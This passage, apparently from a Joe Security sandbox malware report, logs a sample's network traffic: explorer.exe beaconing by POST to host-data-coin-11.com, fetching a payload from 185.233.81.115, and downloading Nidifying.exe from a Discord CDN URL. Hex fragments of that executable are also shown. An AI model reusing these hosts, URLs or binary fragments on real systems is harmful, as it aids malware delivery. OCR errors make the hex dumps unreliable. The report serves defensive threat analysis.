7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wuqrydcob.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 343

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe
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Timestamp

Jan 14, 2022
04:59:50.951777935 CET

Session ID

67

Timestamp

Session ID

68

Timestamp

Session ID

69

Timestamp

Session ID

7

Timestamp

Jan 14, 2022
04:58:58.499056101 CET

Jan 14, 2022
04:58:58.584256887 CET

Session ID
70

Timestamp

Session ID
71

Timestamp

Session ID

72

Timestamp

kBytes
transferred

17261

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3
kBytes

transferred
1113

1114

Source IP
192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49883

Direction

Source Port

49889

Direction

Source Port

49890

Direction

Source Port

49748

Direction

ouT

Source Port
49891

Direction

Source Port
49893

Direction

Source Port

49894

Direction

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://khptceilp.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 301

Host: host-data-coin-11.com

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://fggjhikg.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 360

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:58:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data
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Session ID

73

Timestamp

Session ID

74

Timestamp

Session ID

75

Timestamp

Session ID

76

Timestamp

Session ID

7

Timestamp

Session ID
78

Timestamp

Session ID
79

Timestamp

Session ID
8

Timestamp

Jan 14, 2022
04:58:58.944475889 CET

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

Source IP
192.168.2.3

kBytes
transferred

1115

Copyright Joe Security LLC 2022

Source Port

49895

Direction

Source Port

49898

Direction

Source Port

49899

Direction

Source Port

49901

Direction

Source Port

49902

Direction

Source Port
49903

Direction

Source Port
49904

Direction

Source Port
49749

Direction
ouT

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://slshljche.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 340

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Jan 14, 2022 1116
04:58:59.026256084 CET

Session ID Source IP
80 192.168.2.3

kBytes
Timestamp transferred
Session ID Source IP
81 192.168.2.3

kBytes
Timestamp transferred
Session ID Source IP
9 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 1116

04:58:59.394917965 CET

Jan 14, 2022 1117
04:58:59.475620985 CET

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.3

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49905

Direction

Source Port

49906

Direction

Source Port

49750

Direction
ouT

Source Port

49760

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:58:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http:/fqtuljhoii.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 157

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:58:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

185.233.81.115 443 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

2022-01-14 03:59:04 UTC 0

2022-01-14 03:59:04 UTC 0

2022-01-14 03:59:04 UTC 0

Session ID Source IP

1 192.168.2.3
kBytes

Timestamp transferred

2022-01-14 03:59:13UTC 0

2022-01-14 03:59:13UTC 0

2022-01-14 03:59:13 UTC 1

2022-01-14 03:59:13 UTC 2

2022-01-14 03:59:13 UTC 3

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49804

Direction

ouT

Data

GET /32739433.dat?iddqd=1 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.233.81.115

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:04 GMT
Content-Type: text/html
Content-Length: 153

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx/1.20.1</center></body></html>

Destination IP Destination Port Process

162.159.133.233 443 C:\Windows\explorer.exe

Data

GET /attachments/903666793514672200/930134152861343815/Nidifying.exe HTTP/1.1
Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Fri, 14 Jan 2022 03:59:13 GMT

Content-Type: application/x-msdos-program

Content-Length: 537088

Connection: close

CF-Ray: 6cd3f34f0c2d7033-FRA

Accept-Ranges: bytes

Age: 300797

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%20filename=Nidifying.exe

ETag: "d7df01d8158bfaddc8ba48390e52f355"

Expires: Sat, 14 Jan 2023 03:59:13 GMT

Last-Modified: Mon, 10 Jan 2022 16:21:03 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-g00g-generation: 1641831663140006

X-g00g-hash: crc32c=9zjujw==

X-goog-hash: md5=198B2BWL+t3lukg5DILzVQ==

X-goog-metageneration: 1

x-goog-storage-class: STANDARD

X-g00g-stored-content-encoding: identity

X-goog-stored-content-length: 537088

X-GUploader-UploadID: ADPycdtAUXQOPbnlyWc7HWHEGJjoo94_slb40xzLLQFjYJleziMw89M1kSI2_68qrqD8x5Zob-f_Zo
OIPr3MaflQeS50JXYR_w

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
70 73 3a 5¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 36 73 31 78 6b 54 43 58 49 4f 44 30 62 78 68 33 5a 59 4b 78 53 75 34 7a 45 49 25 32 46 55 6a 45 4e 25 32 46 66 57
4a61 7378 78 75 6d 72 56 4b 53 70 75 77 7a 76 61 41 58 32 6a 74 70 5a 4e 55 54 55 45 74 39 47 5a 7a 54 73 70 5a 4d
6¢ 44 34 35 53 6f 6e 30 54 42 61 6d 67 43 4f 37 75 70 52 33 35 41 77 4a 54 4c 35 6a 30 52 4c 71 4f 6e 57 42 72 43 61 50
37 76 57 43 66 53 4a 36 43 72 75 32 73 5a 38 75 79 58 25 32 46 6e 41 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a

Data Ascii: Report-To: {"endpoints”:[{"url":"https:VVa.nel.cloudflare.comVreport\/v3?s=6s1xkTCXIODObxh3ZYKx
Su4zEI%2FUJEN%2FfWJasxxumrVKSpuwzvaAX2jtpZNUTUEt9GZzTspZMID45Son0TBamgCO7upR35AWJITL5j0RLGO
nWBrCaP7vWC{SJ6Cru2sZ8uyX%2FnA%3D%3D"}],"group":"cf-nel","max_age":

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 79 2a a2 00 00 00 00 00 00 00 00 €0 00 Oe 01 Ob 01
30 00 00 2a 08 00 00 06 00 00 00 00 00 00 ae 49 08 00 00 20 00 00 00 60 08 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 08 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?y*0* '@ @

Data Raw: 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 Oe 00
04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 1la 28 a9
00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 la 28 a9 00 00 06 2a 00 la 28
a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 la
28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00 1a 28 a9 00 00 06 2a 00
1a 28 a9 00 00 06 2a 00 13 30 06 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 03 30 03 00 42 00 00
00 00 00 00 00 28 a9 00 00 06 38 01 00 00 00 2a 28 5e 01 00 06 38 00 00 00

Data ASC" *(*(**0***(*(*(*(*(*(*(’k(*(*(*(*(*(*(*(*(*(*0**08(8*(/\8

Page 64 of 135



kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 4 IN Data Raw: 06 12 03 11 04 11 0511 06 17 1b 1f 11 06 28 93 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 93 00 00
0612 05 11 06 09 11 04 1f Ob 1f Oe 1f 13 06 28 93 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 93 00 00 06 12 03
1104110511 06 1b 1b 1f 15 06 28 93 00 00 06 12 06 09 11 04 11 05 1f Oa 1f 09 1f 16 06 28 93 00 00 06 12 05 11 06 09
11 04 1f Of 1f Oe 1f 17 06 28 93 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 93 00 00 06 12 03 11 04 11 05 11 06
1f 09 1b 1f 19 06 28 93 00 00 06 12 06 09 11 04 11 05 1f Oe 1f 09 1f 1a 06 28 93 00 00 06 12 05 11 06 09 11 04 19 1f Oe 1f
1b 06 28 93 00 00 06 12 04 11 05 11 06 09 1e 1f 14 1f 1c 06 28 93 00 00 06 12 03 11 04 11 05 11 06 1f Od 1b 1f 1d 06 28
93000006 12 06 09 11 04 11 05 18 1f 09 1f 1e 06 28
Data Ascii: ((((((CC((((((

2022-01-14 03:59:13UTC 6 IN Data Raw: 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d
16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff
ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 Oa 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17
58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 a1 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e
49 00 00 00 11 04 11 06 61 13 Oe 16 13 Of 38 2d 00 00 00 11 Of 16 3e Oc 00 00 00 11 Ob 1e 62 13 Ob 11 Oc 1e 58 13 Oc 08
11 0a 11 0f 58 11 Oe 11 Ob 5f 11 Oc 1f 1f 5f 64 d2 9c 11 0f 17 58 13 0Of 11 0Of 06 3f cb ff ff ff 38 49 00 00 00 11 04 11 06 61
131008 11 0a 11 10 20 ff 00 00 00 5f d2 9c 08 11 Oa 17
Data Ascii: Y@I>BX8#>biXY X?8.XXbXb Xb™"%(XY@P>la8->bXX__dX?8la _

2022-01-14 03:59:13 UTC 7 IN Data Raw: 28 00 1f 0d 64 61 fe Oe 28 00 fe Oc 28 00 fe Oc 2b 00 58 fe Oe 28 00 fe Oc 29 00 1b 62 fe Oc 29 00 58 fe Oc 29
00 61 fe Oc 28 00 58 fe Oe 28 00 fe Oc 28 00 76 6¢ 6d 58 13 09 11 Oe 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00
110911 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e Oc 00 00 00 11 10 1le 62 13 10 11 11 1e 58 13 11 11 08 11 Of
11145811 1311 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 Oa 61
131511 08 11 0f 11 15 20 ff 00 00 00 5f d2 9¢ 11 08 11 Of 17 58 11 15 20 00 ff 00 00 5f 1e 64 d2 9c 11 08 11 Of 18 58 11
15 20 00 00 ff 00 5f 1f 10 64 d2 9¢c 11 08 11 0f 19 58 11 15 20 00 00 00 ff 5f 1f 18 64 d2 9c 11 Oe 17 58 13 Oe 11 Oe 11 07
3f 26 fd ff ff 11 08 13 05 14 13 08 11 05 8e 69
Data Ascii: (da((+X()b)X)a(X((vImXY@S>Ka8.>bXX__dX?8Ma _X _dX _dX _dX?&i

2022-01-14 03:59:13 UTC 8 IN Data Raw: 02 03 04 05 Oe 04 Oe 05 6f 30 01 00 06 13 05 38 06 00 00 00 17 80 6d 00 00 04 11 05 2a 7e 5¢ 00 00 04 02 03
04 05 Oe 04 Oe 05 6f 30 01 00 06 2a 00 00 00 Oa 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 Oa dd 06
00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 Ob Ob 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00
00 d0 51 00 00 01 28 23 00 00 Oa 72 9d Oe 00 70 18 8d 24 00 00 01 25 16 d0 13 00 00 01 28 23 00 00 0a a2 25 17 d0 24
00 00 01 28 23 00 00 0a a2 28 6d 00 00 Oa 14 18 8d 0a 00 00 01 25 16 02 8¢ 13 00 00 01 a2 25 17 03 a2 6f 6e 00 00 0a
74 4e 00 00 01 2a 00 1b 30 08 00 5¢ 68 00 00 12 00 00 11 20 eb 00 00 00 fe Oe 51 00 38 00 00 00 00 fe Oc 51 00 45 a9 02
00 00 04 09 00 00 cc 55 00 00 41 43 00 00 cf 1c 00 00 b0 23 00 00 63
Data Ascii: 008m*~\00**0(*&*0SQ(#rp$% (#%6$(#(Mm%%ontN*0\h Q8QEUACHC

2022-01-14 03:59:13 UTC 10 IN Data Raw: 00 c4 0f 00 00 f1 37 00 00 73 57 00 00 f4 07 00 00 9b 0d 00 00 8c 06 00 00 03 4f 00 00 aa 44 00 00 c3 2d 00 0OC
8d 38 00 00 7a 0e 00 00 78 3f 00 00 66 53 00 00 10 12 00 00 9e 09 00 00 Of 58 00 00 87 49 00 00 75 05 00 00 bc 20 00
00 02 14 00 00 cO 3e 00 00 24 45 00 00 f1 15 00 00 6b 42 00 00 89 3e 00 00 b3 09 00 00 Oa 24 00 00 6a 58 00 00 4e 30
00 00 ae 32 00 00 6d 16 00 00 ce 41 00 00 c3 48 00 00 c2 37 00 00 32 29 00 00 a2 54 00 00 e9 3a 00 00 2a 1c 00 00 65
22 00 00 2f 47 00 00 b6 2c 00 00 40 44 00 00 3c 59 00 00 cc 27 00 00 de 49 00 00 a6 24 00 00 16 1b 00 00 11 14 00 00 1
¢ 08 00 00 6¢ 37 00 00 d3 1f 00 00 7b 1b 00 00 e3 10 00 00 77 21 00 00 08 28 00 00 e7 Od 00 00 d8 24 00 00 90 12 00 00
47 4d 00 00 98 45 00 00 3b 08 00 00 81 30 00 00 37 28 00 00 2e 19
Data Ascii: 7sWOD-8zx?fSXIu >$EKB>$XN02mAH72)T:*e"/G,@D<Y'I$I7{w!($GME;07(.

2022-01-14 03:59:13 UTC 11 IN Data Raw: 87 5b 00 00 ff 15 00 00 a5 3e 00 00 Oe 1f 00 00 31 3f 00 00 6d 59 00 00 7b 1a 00 00 €8 46 00 00 b9 2b 00 00
3417 00 00 27 59 00 00 b4 36 00 00 cf 22 00 00 a0 1a 00 00 50 3f 00 00 05 51 00 00 de 58 00 00 d4 3b 00 00 13 2f 00 00
7f 28 00 00 €3 4c 00 00 8c 36 00 00 76 44 00 00 00 Oc 00 00 69 43 00 00 31 21 00 00 9f 4c 00 00 08 5a 00 00 ab 13 00 00
445100 00 d1 18 00 00 cf 57 00 00 49 1a 00 00 17 5b 00 00 74 17 00 00 €6 39 00 00 20 3¢ 00 00 ¢9 15 00 00 4a 48 00
00 a9 0a 00 00 cd 1b 00 00 d5 28 00 00 44 3e 00 00 8f 21 00 00 13 52 00 00 5d 44 00 00 65 3b 00 00 04 2¢ 00 00 ba 3f
00 00 83 07 00 00 92 1f 00 00 74 32 00 00 8f 11 00 00 7c 45 00 00 Le 11 00 00 38 ff 08 00 00 fe Oc 0a 00 20 17 00 00 00
fe Oc 40 00 9¢ 20 ba 01 00 00 38 3a f5 ff ff 20 99 00 00 00 20
Data Ascii: [>1?mY{F+4'Y6"P?QX;/(L6vDIC1ILZDQWI[t9 <JH(D>IR]De; ?t2|E8 @ 8:

2022-01-14 03:59:13 UTC 12 IN Data Raw: 03 00 00 00 38 3c fc ff ff 11 65 28 d4 00 00 06 8d 16 00 00 01 16 28 d4 00 00 06 28 f7 00 00 06 20 00 00 00 00
28 1f 01 00 06 3a 16 fc ff ff 26 20 00 00 00 00 38 0b fc ff ff dd 4d 3a 00 00 26 20 00 00 00 00 28 1f 01 00 06 3a Of 00 00 00
26 20 00 00 00 00 38 04 00 00 00 fe Oc 30 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 dd 1b 3a 00 00 20 33 00 00 00
28 1f 01 00 06 3a 5a 0 ff ff 26 20 3b 02 00 00 38 4f 0 ff ff fe Oc 05 00 20 08 00 00 00 20 7e 00 00 00 20 3a 00 00 00 59 9¢
20 a3 01 00 00 28 1e 01 00 06 3a 2b f0 ff ff 26 20 23 00 00 00 38 20 f0 ff ff 12 08 €0 73 71 00 00 Oa 16 28 c5 00 00 06 26
20 b8 00 00 00 38 07 fO ff ff 11 75 11 1d 1a 58 11 07 1a 91 9¢ 20 96 00 00 00 28 1e 01 00 06 39 ed ef ff ff 26 20 65 01 00
00 38 e2 ef ff ff 11 45 17 58 13 45 20
Data Ascii: 8<e((( (:& 8M:& (:& 80ES: 3(:Z& ;80 ~ :Y (:+& #8 sq(& BuX (9& e8EXE

2022-01-14 03:59:13 UTC 14 IN Data Raw: 00 00 00 20 4d 00 00 00 59 fe Oe 40 00 20 92 00 00 00 38 6a eb ff ff fe Oc 0a 00 20 Oc 00 00 00 fe Oc Oe 00 9¢
20 ab 00 00 00 38 52 eb ff ff 11 5¢ 11 18 3f 98 3 00 00 20 52 02 00 00 28 1f 01 00 06 39 3a eb ff ff 26 20 Oc 02 00 00 38
2f eb ff ff fe Oc 0a 00 20 11 00 00 00 fe Oc Oe 00 9¢ 20 1b 01 00 00 38 17 eb ff ff 12 74 11 6f 7d 72 00 00 04 20 8b 00 00 00
38 04 eb ff ff fe Oc 0a 00 20 11 00 00 00 fe Oc 40 00 9¢ 20 15 02 00 00 38 ec ea ff ff 28 d4 00 00 06 1a 40 4e 05 00 00 20
3302 00 00 28 1e 01 00 06 39 d2 ea ff ff 26 20 74 02 00 00 38 c7 ea ff ff 12 08 €0 73 71 00 00 Oa 16 28 c6 00 00 06 26 20
8f 02 00 00 38 ae ea ff ff 20 96 00 00 00 20 32 00 00 00 59 fe Oe 1a 00 20 78 00 00 00 28 1f 01 00 06 3a 90 ea ff f 26 20 8
a 01 00 00 38 85 ea ff ff 11 1b 1b
Data Ascii: MY@ 8j 8R\?? R(9:& 8/ 8to}r 8 @ 8(@N 3(9& t8sq(& 8 2Y x(:& 8

2022-01-14 03:59:13 UTC 15 IN Data Raw: 6 ff ff 38 b1 13 00 00 20 4e 00 00 00 38 16 €6 ff ff 7e 66 00 00 04 28 ec 00 00 06 28 ed 00 00 06 13 58 20 63
